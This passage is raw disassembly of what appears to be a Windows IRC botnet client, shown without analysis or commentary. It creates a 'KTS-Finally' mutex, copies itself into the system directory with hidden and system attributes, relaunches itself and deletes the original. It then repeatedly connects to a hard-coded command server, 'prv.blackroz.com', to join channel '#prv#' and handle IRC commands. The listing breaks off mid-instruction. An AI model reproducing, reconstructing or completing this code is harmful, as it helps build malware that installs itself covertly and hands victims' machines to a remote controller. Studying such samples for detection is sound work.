lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_40B110 add esp, 18h loc_4061F5: ; CODE XREF: sub_40615D+77j mov eax, [ebp+arg_0] leave retn sub_40615D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4061FA proc near ; CODE XREF: sub_4068DA+7Fp ; sub_406A2F+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi xor esi, esi loc_406203: ; CODE XREF: sub_4061FA+40j cmp [ebp+arg_C], 0 jz short loc_406221 lea eax, dword_41BE98[esi] push eax push [ebp+arg_C] call sub_40C250 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40622F ; --------------------------------------------------------------------------- loc_406221: ; CODE XREF: sub_4061FA+Dj mov ecx, dword_41BEA4[esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_40622F: ; CODE XREF: sub_4061FA+25j test eax, eax jnz short loc_40623E add esi, 14h inc edi cmp esi, 64h jb short loc_406203 jmp short loc_40624C ; --------------------------------------------------------------------------- loc_40623E: ; CODE XREF: sub_4061FA+37j push [ebp+arg_0] lea eax, [edi+edi*4] call off_41BEA8[eax*4] pop ecx loc_40624C: ; CODE XREF: sub_4061FA+42j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_40625F push [ebp+arg_0] call sub_40615D pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_40625F: ; CODE XREF: sub_4061FA+58j mov eax, [ebp+arg_0] pop ebp retn sub_4061FA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406264 proc near ; DATA XREF: sub_406331+7Bo var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0B8h mov eax, [ebp+arg_0] push esi push edi push 2Ah pop ecx mov esi, eax lea edi, [ebp+var_B8] push 10h rep movsd xor esi, esi push 0 inc esi mov [eax+0A4h], esi lea eax, [ebp+var_10] push eax call sub_40B630 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_34] call dword_42B3D4 ; htons mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_42B450 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_406322 lea eax, [ebp+var_10] push 10h push eax push esi call dword_42B380 ; connect mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_42CF6C[ecx], esi jz short loc_406322 push [ebp+var_34] push [ebp+var_28] call dword_42B45C ; inet_ntoa push eax mov edi, offset dword_42BFD8 push offset unk_41BF40 push edi call sub_40B0B3 push 0 lea eax, [ebp+var_B4] push [ebp+var_20] push edi push eax push [ebp+var_B8] call sub_404555 push edi call sub_403145 add esp, 28h loc_406322: ; CODE XREF: sub_406264+5Dj ; sub_406264+7Ej push esi call dword_42B468 ; closesocket pop edi xor eax, eax pop esi leave retn 4 sub_406264 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_406331 proc near ; DATA XREF: sub_406BAB+1BAFo var_130 = byte ptr -130h var_B0 = byte ptr -0B0h var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 130h push ebx mov ebx, [ebp+arg_0] push esi push edi push 2Ah mov esi, ebx pop ecx lea edi, [ebp+var_B0] rep movsd mov esi, dword_417040 mov dword ptr [ebx+0A0h], 1 xor edi, edi loc_40635F: ; CODE XREF: sub_406331+ECj push [ebp+var_2C] push [ebp+var_20] call dword_42B45C ; inet_ntoa push eax lea eax, [ebp+var_130] push offset dword_41BF68 push eax call sub_40B0B3 lea eax, [ebp+var_130] push 1FFh push eax mov eax, [ebp+var_24] imul eax, 234h add eax, offset dword_42CD60 push eax call sub_40B110 add esp, 1Ch lea eax, [ebp+var_8] push eax lea eax, [ebp+var_B0] push edi push eax push offset sub_406264 push edi push edi call dword_417048 ; CreateThread cmp eax, edi mov [ebp+var_4], eax jz short loc_4063CB jmp short loc_4063C6 ; --------------------------------------------------------------------------- loc_4063C2: ; CODE XREF: sub_406331+98j push 32h call esi ; Sleep loc_4063C6: ; CODE XREF: sub_406331+8Fj cmp [ebp+var_C], edi jz short loc_4063C2 loc_4063CB: ; CODE XREF: sub_406331+8Dj push [ebp+var_4] call dword_417074 ; CloseHandle push dword ptr [ebx+88h] mov [ebx+0A4h], edi call esi ; Sleep lea eax, [ebp+var_20] push 4 push eax lea eax, [ebp+arg_0] push eax call sub_40B210 add esp, 0Ch push [ebp+arg_0] call dword_42B31C ; htonl inc eax push eax mov [ebp+arg_0], eax call dword_42B3D0 ; htonl mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax lea eax, [ebp+var_20] push eax call sub_40B210 add esp, 0Ch jmp loc_40635F sub_406331 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406422 proc near ; CODE XREF: sub_40D514+C9p var_908 = byte ptr -908h var_804 = byte ptr -804h var_803 = byte ptr -803h var_674 = byte ptr -674h var_574 = byte ptr -574h var_474 = byte ptr -474h var_370 = byte ptr -370h var_26C = byte ptr -26Ch var_168 = byte ptr -168h var_64 = dword ptr -64h var_58 = dword ptr -58h var_38 = dword ptr -38h var_34 = word ptr -34h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 908h push ebx push esi xor esi, esi xor ebx, ebx push edi mov [ebp+var_4], ebx mov [ebp+var_8], esi mov [ebp+var_C], esi mov [ebp+var_10], offset sub_403B83 push [ebp+var_10] push large dword ptr fs:0 mov large fs:0, esp mov edi, dword_41705C call edi ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov dword_47F740, eax call edi ; GetTickCount push eax call sub_40B545 pop ecx call sub_4045F0 push 2 call dword_42B47C ; SetErrorMode push 7530h push offset aKtsFinally ; "KTS-Finally" push esi push esi call dword_4170EC ; CreateMutexA push eax call dword_4170E8 ; WaitForSingleObject cmp eax, 102h jnz short loc_4064A7 push 1 call dword_41706C ; ExitProcess loc_4064A7: ; CODE XREF: sub_406422+7Bj lea eax, [ebp+var_804] push eax push 202h call dword_42B35C ; WSAStartup cmp eax, esi jnz loc_4068D1 cmp [ebp+var_804], 2 jnz loc_4068CB xor eax, eax mov al, [ebp+var_803] cmp al, 2 jnz loc_4068CB mov edi, 104h lea eax, [ebp+var_370] push edi push eax call dword_417080 ; GetSystemDirectoryA lea eax, [ebp+var_26C] push edi push eax push esi call dword_41708C ; GetModuleHandleA push eax call dword_41704C ; GetModuleFileNameA lea eax, [ebp+var_574] push eax lea eax, [ebp+var_674] push eax push esi lea eax, [ebp+var_26C] push esi push eax call sub_40D21A lea eax, [ebp+var_574] push eax lea eax, [ebp+var_674] push eax push offset aSS_3 ; "%s%s" lea eax, [ebp+var_474] push edi push eax call sub_40BDE7 lea eax, [ebp+var_370] push eax lea eax, [ebp+var_26C] push eax call sub_40CE60 add esp, 30h test eax, eax jnz loc_406702 cmp dword_41C0E0, esi mov edi, offset byte_41C1A0 jz short loc_4065A6 push edi mov [ebp+var_4], esi call sub_40B5B0 sub eax, 4 pop ecx jz short loc_4065A6 loc_40657D: ; CODE XREF: sub_406422+182j call sub_40B54F push 1Ah cdq pop ecx idiv ecx mov eax, [ebp+var_4] push edi add dl, 61h inc [ebp+var_4] mov byte_41C1A0[eax], dl call sub_40B5B0 sub eax, 4 pop ecx cmp [ebp+var_4], eax jb short loc_40657D loc_4065A6: ; CODE XREF: sub_406422+14Aj ; sub_406422+159j lea eax, [ebp+var_370] push edi push eax lea eax, [ebp+var_168] push offset aSS_2 ; "%s\\%s" push eax call sub_40B0B3 add esp, 10h lea eax, [ebp+var_168] push eax call dword_4170B8 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_4065E6 lea eax, [ebp+var_168] push 80h push eax call dword_4170B4 ; SetFileAttributesA loc_4065E6: ; CODE XREF: sub_406422+1B0j mov edi, dword_4170E4 xor ebx, ebx jmp short loc_406612 ; --------------------------------------------------------------------------- loc_4065F0: ; CODE XREF: sub_406422+203j call dword_417044 ; RtlGetLastWin32Error cmp ebx, esi jnz short loc_406627 cmp eax, 20h jz short loc_406604 cmp eax, 5 jnz short loc_406627 loc_406604: ; CODE XREF: sub_406422+1DBj xor ebx, ebx push 3A98h inc ebx call dword_417040 ; Sleep loc_406612: ; CODE XREF: sub_406422+1CCj lea eax, [ebp+var_168] push esi push eax lea eax, [ebp+var_26C] push eax call edi ; CopyFileA test eax, eax jz short loc_4065F0 loc_406627: ; CODE XREF: sub_406422+1D6j ; sub_406422+1E0j lea eax, [ebp+var_168] push eax call sub_405401 pop ecx lea eax, [ebp+var_168] push 7 push eax call dword_4170B4 ; SetFileAttributesA push 10h lea eax, [ebp+var_20] push esi push eax call sub_40B630 push 44h lea eax, [ebp+var_64] pop edi push edi push esi push eax call sub_40B630 mov [ebp+var_64], edi xor edi, edi inc edi add esp, 18h mov [ebp+var_58], offset byte_422270 mov [ebp+var_38], edi mov [ebp+var_34], si call dword_4170E0 ; GetCurrentProcessId push eax push edi push 100000h call dword_4170D4 ; OpenProcess lea ecx, [ebp+var_26C] push ecx push eax lea eax, [ebp+var_168] push eax lea eax, [ebp+var_908] push offset aSDS ; "%s %d \"%s\"" push eax call sub_40B0B3 add esp, 14h lea eax, [ebp+var_20] push eax lea eax, [ebp+var_64] push eax lea eax, [ebp+var_370] push eax push esi push 28h push edi push esi lea eax, [ebp+var_908] push esi push eax lea eax, [ebp+var_168] push eax call dword_417070 ; CreateProcessA test eax, eax jz short loc_4066FF push 0C8h call dword_417040 ; Sleep push [ebp+var_20] mov edi, dword_417074 call edi ; CloseHandle push [ebp+var_1C] call edi ; CloseHandle call dword_42B344 ; WSACleanup push esi call dword_41706C ; ExitProcess loc_4066FF: ; CODE XREF: sub_406422+2B3j mov ebx, [ebp+var_4] loc_406702: ; CODE XREF: sub_406422+139j cmp dword_47F930, 2 jle short loc_40674E mov eax, dword_47F934 push dword ptr [eax+4] call sub_40C3AF pop ecx mov edi, eax push 0FFFFFFFFh push edi call dword_4170E8 ; WaitForSingleObject push edi call dword_417074 ; CloseHandle mov eax, dword_47F934 cmp [eax+8], esi jz short loc_40674E push 7D0h call dword_417040 ; Sleep mov eax, dword_47F934 push dword ptr [eax+8] call dword_4170DC ; DeleteFileA loc_40674E: ; CODE XREF: sub_406422+2E7j ; sub_406422+311j cmp dword_41C0E4, esi jz short loc_40676B cmp dword_42B498, esi jnz short loc_40676B lea eax, [ebp+var_474] push eax call sub_4031BC pop ecx loc_40676B: ; CODE XREF: sub_406422+332j ; sub_406422+33Aj push 0B80h push esi push offset dword_42C1E0 call sub_40B630 add esp, 0Ch lea eax, [ebp+var_8] push eax lea eax, [ebp+var_474] push esi push eax push offset sub_40322D push esi push esi call dword_417048 ; CreateThread imul ebx, 234h cmp eax, esi mov dword_42CF74[ebx], eax jnz short loc_4067B1 call sub_40B54F mov dword_47F8B4, eax loc_4067B1: ; CODE XREF: sub_406422+383j push 7Fh mov ebx, offset dword_47F74C push offset aPrv_blackroz_c ; "prv.blackroz.com" push ebx call sub_40B110 mov eax, dword_41C0D0 push 3Fh mov edi, offset dword_47F7CC push offset aPrv ; "#prv#" push edi mov dword_47F89C, eax call sub_40B110 push 3Fh mov esi, offset dword_47F80C push offset aPr__ ; "pr.." push esi call sub_40B110 add esp, 24h and dword_47F8A0, 0 loc_4067FB: ; CODE XREF: sub_406422+455j ; sub_406422+45Ej ... and [ebp+var_4], 0 loc_4067FF: ; CODE XREF: sub_406422+415j and dword_47F8B0, 0 push offset dword_47F748 call sub_4068DA cmp eax, 2 jz loc_4068C6 cmp dword_47F8B0, 0 jz short loc_406825 dec [ebp+var_4] loc_406825: ; CODE XREF: sub_406422+3FEj push 0BB8h call dword_417040 ; Sleep inc [ebp+var_4] cmp [ebp+var_4], 6 jl short loc_4067FF cmp [ebp+var_C], 0 jz short loc_406879 push 7Fh push offset aPrv_blackroz_c ; "prv.blackroz.com" push ebx call sub_40B110 mov eax, dword_41C0D0 push 3Fh push offset aPrv ; "#prv#" push edi mov dword_47F89C, eax call sub_40B110 push 3Fh push offset aPr__ ; "pr.." push esi call sub_40B110 add esp, 24h and [ebp+var_C], 0 jmp short loc_4067FB ; --------------------------------------------------------------------------- loc_406879: ; CODE XREF: sub_406422+41Bj cmp byte_41C17C, 0 jz loc_4067FB push 7Fh push offset byte_41C17C push ebx call sub_40B110 mov eax, dword_41C0D4 push 3Fh push offset aPrv_0 ; "#prv#" push edi mov dword_47F89C, eax call sub_40B110 push 3Fh push offset aPr___0 ; "pr.." push esi call sub_40B110 add esp, 24h mov [ebp+var_C], 1 jmp loc_4067FB ; --------------------------------------------------------------------------- loc_4068C6: ; CODE XREF: sub_406422+3F1j call sub_40AC17 loc_4068CB: ; CODE XREF: sub_406422+A6j ; sub_406422+B6j call dword_42B344 ; WSACleanup loc_4068D1: ; CODE XREF: sub_406422+99j pop edi pop esi xor eax, eax pop ebx leave retn 10h sub_406422 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4068DA proc near ; CODE XREF: sub_406422+3E9p var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_4068FF: ; CODE XREF: sub_4068DA+E6j ; sub_4068DA+125j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_40B630 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_42B3D4 ; htons mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_40564F test eax, eax pop ecx mov [ebp+var_C], eax jz loc_406A2B push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_40B630 push 0 lea eax, [ebp+var_2C] push dword_41C0F4 push dword_41C0F0 push eax call sub_4061FA mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_42CF78 push edi push eax call sub_40B110 add esp, 28h push 6 push 1 push 2 call dword_42B450 ; socket mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_42CF6C[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_42B380 ; connect cmp eax, 0FFFFFFFFh jnz short loc_4069C5 push esi call dword_42B468 ; closesocket call sub_405678 push 7D0h loc_4069BA: ; CODE XREF: sub_4068DA+135j call dword_417040 ; Sleep jmp loc_4068FF ; --------------------------------------------------------------------------- loc_4069C5: ; CODE XREF: sub_4068DA+CDj push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_406A2F add esp, 20h mov edi, eax push esi call dword_42B468 ; closesocket test edi, edi jz loc_4068FF cmp edi, 1 jnz short loc_406A11 push 0DBBA0h jmp short loc_4069BA ; --------------------------------------------------------------------------- loc_406A11: ; CODE XREF: sub_4068DA+12Ej cmp edi, 2 jnz loc_4068FF push [ebp+var_34] call sub_40AD6A pop ecx push edi pop eax loc_406A25: ; CODE XREF: sub_4068DA+153j pop edi pop esi leave retn 4 ; --------------------------------------------------------------------------- loc_406A2B: ; CODE XREF: sub_4068DA+5Aj xor eax, eax jmp short loc_406A25 sub_4068DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406A2F proc near ; CODE XREF: sub_4068DA+112p var_1BA0 = byte ptr -1BA0h var_BA0 = byte ptr -0BA0h var_240 = byte ptr -240h var_1A0 = byte ptr -1A0h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1BA0h call sub_40B690 push ebx push esi push edi xor ebx, ebx push 2 mov [ebp+var_8], ebx lea eax, [ebp+var_1A0] pop ecx loc_406A4D: ; CODE XREF: sub_406A2F+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_406A4D cmp byte_47F8AD, bl jz short loc_406A74 push offset byte_47F8AD push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_40450F add esp, 0Ch loc_406A74: ; CODE XREF: sub_406A2F+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_4061FA add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_40B0B3 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_40B5B0 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_42B420 ; send cmp eax, 0FFFFFFFFh jnz short loc_406ADE push [ebp+arg_0] call dword_42B468 ; closesocket push 1388h call dword_417040 ; Sleep loc_406AD7: ; CODE XREF: sub_406A2F+D9j ; sub_406A2F+153j xor eax, eax loc_406AD9: ; CODE XREF: sub_406A2F+16Fj ; sub_406A2F+177j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_406ADE: ; CODE XREF: sub_406A2F+92j ; sub_406A2F+F8j ... mov esi, 1000h lea eax, [ebp+var_1BA0] push esi push ebx push eax call sub_40B630 add esp, 0Ch lea eax, [ebp+var_1BA0] push ebx push esi push eax push [ebp+arg_0] call dword_42B3EC ; recv test eax, eax jle short loc_406AD7 lea eax, [ebp+var_BA0] push eax lea eax, [ebp+var_1BA0] push eax call sub_405216 pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_406ADE lea edi, [ebp+var_BA0] loc_406B2F: ; CODE XREF: sub_406A2F+165j xor esi, esi inc esi loc_406B32: ; CODE XREF: sub_406A2F+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_240] push eax lea eax, [ebp+var_1A0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_406BAB add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_406B75 push 7D0h call dword_417040 ; Sleep jmp short loc_406B32 ; --------------------------------------------------------------------------- loc_406B75: ; CODE XREF: sub_406A2F+137j cmp esi, 0FFFFFFFDh jz short loc_406BA3 cmp esi, 0FFFFFFFEh jz short loc_406B9B cmp esi, 0FFFFFFFFh jz loc_406AD7 inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_406B2F jmp loc_406ADE ; --------------------------------------------------------------------------- loc_406B9B: ; CODE XREF: sub_406A2F+14Ej xor eax, eax inc eax jmp loc_406AD9 ; --------------------------------------------------------------------------- loc_406BA3: ; CODE XREF: sub_406A2F+149j push 2 pop eax jmp loc_406AD9 sub_406A2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406BAB proc near ; CODE XREF: sub_406A2F+12Ap var_E78 = byte ptr -0E78h var_C78 = byte ptr -0C78h var_A78 = byte ptr -0A78h var_974 = byte ptr -974h var_913 = byte ptr -913h var_912 = byte ptr -912h var_90F = byte ptr -90Fh var_906 = byte ptr -906h var_904 = byte ptr -904h var_902 = byte ptr -902h var_901 = byte ptr -901h var_874 = byte ptr -874h var_7F4 = dword ptr -7F4h var_7F0 = dword ptr -7F0h var_7EC = byte ptr -7ECh var_770 = byte ptr -770h var_6E8 = byte ptr -6E8h var_670 = byte ptr -670h var_5E4 = dword ptr -5E4h var_5E0 = dword ptr -5E0h var_5DC = dword ptr -5DCh var_5D8 = byte ptr -5D8h var_570 = dword ptr -570h var_56C = dword ptr -56Ch var_568 = dword ptr -568h var_564 = dword ptr -564h var_560 = dword ptr -560h var_55C = dword ptr -55Ch var_558 = dword ptr -558h var_554 = dword ptr -554h var_550 = dword ptr -550h var_54C = byte ptr -54Ch var_530 = byte ptr -530h var_4D8 = dword ptr -4D8h var_4D4 = byte ptr -4D4h var_4C8 = dword ptr -4C8h var_4C4 = byte ptr -4C4h var_494 = byte ptr -494h var_474 = dword ptr -474h var_454 = dword ptr -454h var_450 = dword ptr -450h var_44C = dword ptr -44Ch var_448 = dword ptr -448h var_444 = dword ptr -444h var_440 = dword ptr -440h var_43C = dword ptr -43Ch var_438 = dword ptr -438h var_434 = dword ptr -434h var_430 = byte ptr -430h var_420 = byte ptr -420h var_40C = dword ptr -40Ch var_404 = byte ptr -404h var_3E8 = byte ptr -3E8h var_3A0 = byte ptr -3A0h var_384 = byte ptr -384h var_320 = dword ptr -320h var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = dword ptr -314h var_310 = dword ptr -310h var_304 = dword ptr -304h var_300 = dword ptr -300h var_2FC = dword ptr -2FCh var_2F8 = dword ptr -2F8h var_2F4 = dword ptr -2F4h var_2F0 = dword ptr -2F0h var_2EC = dword ptr -2ECh var_2E4 = byte ptr -2E4h var_E4 = byte ptr -0E4h var_D8 = byte ptr -0D8h var_D4 = dword ptr -0D4h var_C8 = byte ptr -0C8h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_64 = byte ptr -64h var_24 = dword ptr -24h var_20 = byte ptr -20h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp sub esp, 0E78h push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp+var_2E4] push ebx push eax mov [ebp+var_24], 3 mov [ebp+var_10], ebx mov [ebp+var_A8], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_AC], ebx call sub_40B630 push 1Bh lea eax, [ebp+var_54C] push [ebp+arg_10] push eax call sub_40B110 add esp, 18h cmp [ebp+arg_0], ebx jz loc_406FF9 push esi lea eax, [ebp+var_C78] push ebx push eax call sub_40B630 dec esi lea eax, [ebp+var_C78] push esi push [ebp+arg_0] push eax call sub_40B110 lea eax, [ebp+var_C78] push offset asc_41D900 ; " :" push eax call sub_40CE60 mov [ebp+var_C], eax lea eax, [ebp+var_C78] push esi push eax lea eax, [ebp+var_E78] push eax call sub_40B110 mov esi, offset asc_41D8FC ; " " lea eax, [ebp+var_E78] push esi push eax call sub_40D07C xor edi, edi add esp, 34h mov [ebp+var_A4], eax inc edi loc_406C6A: ; CODE XREF: sub_406BAB+D3j push esi push ebx call sub_40D07C mov [ebp+edi*4+var_A4], eax inc edi pop ecx cmp edi, 20h pop ecx jl short loc_406C6A mov esi, [ebp+var_A4] cmp esi, ebx jz loc_406FF9 cmp [ebp+var_A0], ebx jz loc_406FF9 push 100h lea eax, [ebp+var_974] push ebx push eax call sub_40B630 add esp, 0Ch push 1Fh pop edx loc_406CB2: ; CODE XREF: sub_406BAB+13Bj lea ecx, [ebp+edx*4+var_A4] mov eax, [ecx] cmp eax, ebx jz short loc_406CE5 cmp byte ptr [eax], 2Dh jnz short loc_406CE8 cmp [eax+2], bl jnz short loc_406CE8 movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_974], 1 mov esi, [ebp+var_A4] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_406CE5: ; CODE XREF: sub_406BAB+112j dec edx jns short loc_406CB2 loc_406CE8: ; CODE XREF: sub_406BAB+117j ; sub_406BAB+11Cj xor edi, edi inc edi cmp [ebp+var_901], bl jz short loc_406CF6 mov [ebp+var_8], edi loc_406CF6: ; CODE XREF: sub_406BAB+146j cmp [ebp+var_906], bl jz short loc_406D04 mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_406D04: ; CODE XREF: sub_406BAB+151j cmp byte ptr [esi], 0Ah jz short loc_406D3E push 7Fh lea eax, [ebp+var_874] push esi push eax call sub_40B110 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_C8] push eax call sub_40B110 lea eax, [ebp+var_C8] push offset asc_41D8F8 ; "!" push eax call sub_40D07C add esp, 20h loc_406D3E: ; CODE XREF: sub_406BAB+15Cj push esi push offset aPing ; "PING" call sub_40C250 pop ecx test eax, eax pop ecx jnz short loc_406D8F push [ebp+var_A0] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_40450F mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_406E33 push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40450F add esp, 10h jmp loc_406E33 ; --------------------------------------------------------------------------- loc_406D8F: ; CODE XREF: sub_406BAB+1A2j mov esi, [ebp+var_A0] push esi push offset a001 ; "001" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_40A0AA push esi push offset a005 ; "005" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_40A0AA push esi push offset a302 ; "302" call sub_40C250 pop ecx test eax, eax pop ecx jnz short loc_406DFA push offset a@ ; "@" push [ebp+var_98] call sub_40CE60 pop ecx cmp eax, ebx pop ecx jz short loc_406E33 inc eax push 9Fh push eax push [ebp+arg_1C] call sub_40B110 add esp, 0Ch jmp short loc_406E33 ; --------------------------------------------------------------------------- loc_406DFA: ; CODE XREF: sub_406BAB+223j push esi push offset a433 ; "433" call sub_40C250 pop ecx test eax, eax pop ecx jnz short loc_406E3A push ebx push dword_41C0F4 push dword_41C0F0 push [ebp+arg_10] call sub_4061FA push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_40450F add esp, 1Ch loc_406E33: ; CODE XREF: sub_406BAB+1C3j ; sub_406BAB+1DFj ... mov eax, edi jmp loc_406FFC ; --------------------------------------------------------------------------- loc_406E3A: ; CODE XREF: sub_406BAB+25Ej mov esi, [ebp+arg_18] mov [ebp+var_B0], 2 mov edi, 80h loc_406E4C: ; CODE XREF: sub_406BAB+2C6j lea eax, [ebp+var_874] push eax push esi call sub_40C250 pop ecx test eax, eax pop ecx jnz short loc_406E69 mov [ebp+var_A8], 1 loc_406E69: ; CODE XREF: sub_406BAB+2B2j add esi, edi dec [ebp+var_B0] jnz short loc_406E4C mov esi, [ebp+var_A0] push esi push offset aKick ; "KICK" call sub_40C250 pop ecx test eax, eax pop ecx jnz loc_406F52 mov esi, [ebp+arg_18] mov [ebp+arg_24], 2 loc_406E98: ; CODE XREF: sub_406BAB+36Cj cmp [esi], bl jz short loc_406F12 push 7Fh lea eax, [ebp+var_874] push esi push eax call sub_40B110 add esp, 0Ch cmp [ebp+var_98], ebx jz short loc_406F12 push [ebp+var_98] lea eax, [ebp+var_C8] push eax call sub_40C250 pop ecx test eax, eax pop ecx jnz short loc_406F12 lea eax, [ebp+var_C8] mov [esi], bl push eax lea eax, [ebp+var_2E4] push offset unk_41D888 push eax call sub_40B0B3 lea eax, [ebp+var_2E4] push eax lea eax, [ebp+var_C8] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_40450F lea eax, [ebp+var_2E4] push eax call sub_403145 add esp, 20h loc_406F12: ; CODE XREF: sub_406BAB+2EFj ; sub_406BAB+309j ... add esi, edi dec [ebp+arg_24] jnz loc_406E98 push [ebp+var_98] push [ebp+arg_10] call sub_40C250 pop ecx test eax, eax pop ecx jnz loc_406FF9 push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_406F45: ; CODE XREF: sub_406BAB+5C8j ; sub_406BAB+806j ... push [ebp+arg_4] call sub_40450F jmp loc_4099CF ; --------------------------------------------------------------------------- loc_406F52: ; CODE XREF: sub_406BAB+2DDj push esi push offset aNick ; "NICK" call sub_40C250 pop ecx test eax, eax pop ecx jnz loc_40708E mov eax, [ebp+var_9C] mov esi, [ebp+arg_18] inc eax mov [ebp+arg_0], 2 mov [ebp+arg_24], eax loc_406F7B: ; CODE XREF: sub_406BAB+422j lea eax, [ebp+var_874] push eax push esi call sub_40C250 pop ecx test eax, eax pop ecx jnz short loc_406FC8 lea eax, [ebp+var_874] push 21h push eax call sub_40CFC0 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz 